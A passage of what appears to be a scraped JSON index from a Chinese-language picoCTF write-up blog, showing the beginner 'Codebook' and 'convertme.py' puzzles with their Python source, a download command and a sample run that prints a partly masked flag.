style=\"color:#f92672\"\u003e^\u003c/span\u003e ord(new_key_c)) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (secret_c,new_key_c) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(secret,new_key)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag_enc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x13\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x01\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x17\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x07\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x2c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x3a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x2f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x53\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x47\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5e\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x02\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x3e\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x56\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x45\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x31\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x59\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x02\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x51\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x4c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x13\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eprint_flag\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    codebook \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;codebook.txt\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    password \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               codebook[\u003cspan style=\"color:#ae81ff\"\u003e23\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e25\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e codebook[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]  \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\\\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               codebook[\u003cspan style=\"color:#ae81ff\"\u003e25\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str_xor(flag_enc, password)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(flag)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eFileNotFoundError\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Couldn\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003et find codebook.txt. Did you download that file into the same directory as this script?\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  print_flag()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e __name__ \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  main()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"Codebook"},{"content":"題目連結 https://learn.cylabacademy.org/library/239\n題目解法 使用 wget 指令下載檔案。\nwget https://artifacts.picoctf.net/c/24/convertme.py 使用 python 執行腳本，腳本惠要求將一個十進位數字轉為二進位，輸入後即可得到 flag。\n$ python convertme.py If 16 is in decimal base, what is it in binary base? Answer: 10000 That is correct! Here\u0026#39;s your flag: picoCTF{4ll-----------------b39} 題目原始碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import random def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) \u0026lt; len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return \u0026#34;\u0026#34;.join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)]) flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5f) + chr(0x05) + chr(0x08) + chr(0x2a) + chr(0x1c) + chr(0x5e) + chr(0x1e) + chr(0x1b) + chr(0x3b) + chr(0x17) + chr(0x51) + chr(0x5b) + chr(0x58) + chr(0x5c) + chr(0x3b) + chr(0x42) + chr(0x57) + chr(0x5c) + chr(0x0d) + chr(0x5f) + chr(0x06) + chr(0x46) + chr(0x5c) + chr(0x13) num = random.choice(range(10,101)) print(\u0026#39;If \u0026#39; + str(num) + \u0026#39; is in decimal base, what is it in binary base?\u0026#39;) ans = input(\u0026#39;Answer: \u0026#39;) try: ans_num = int(ans, base=2) if ans_num == num: flag = str_xor(flag_enc, \u0026#39;enkidu\u0026#39;) print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) else: print(str(ans_num) + \u0026#39; and \u0026#39; + str(num) + \u0026#39; are not equal.\u0026#39;) except ValueError: print(\u0026#39;That isn\\\u0026#39;t a binary number. Binary numbers contain only 1\\\u0026#39;s and 0\\\u0026#39;s\u0026#39;) ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/convertme-py/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/239\"\u003ehttps://learn.cylabacademy.org/library/239\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e使用 \u003ccode\u003ewget\u003c/code\u003e 指令下載檔案。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ewget https://artifacts.picoctf.net/c/24/convertme.py\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用 \u003ccode\u003epython\u003c/code\u003e 執行腳本，腳本惠要求將一個十進位數字轉為二進位，輸入後即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python convertme.py\nIf 16 is in decimal base, what is it in binary base?\nAnswer: 10000\nThat is correct! Here\u0026#39;s your flag: picoCTF{4ll-----------------b39}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e random\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estr_xor\u003c/span\u003e(secret, key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#extend key to secret length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e len(new_key) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len(secret):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e new_key \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin([chr(ord(secret_c) \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ord(new_key_c)) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (secret_c,new_key_c) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(secret,new_key)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag_enc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x07\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x27\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x21\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x23\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x05\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x2a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5e\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1e\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x3b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x17\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x51\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x3b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x42\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x57\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5f\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x46\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x13\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan 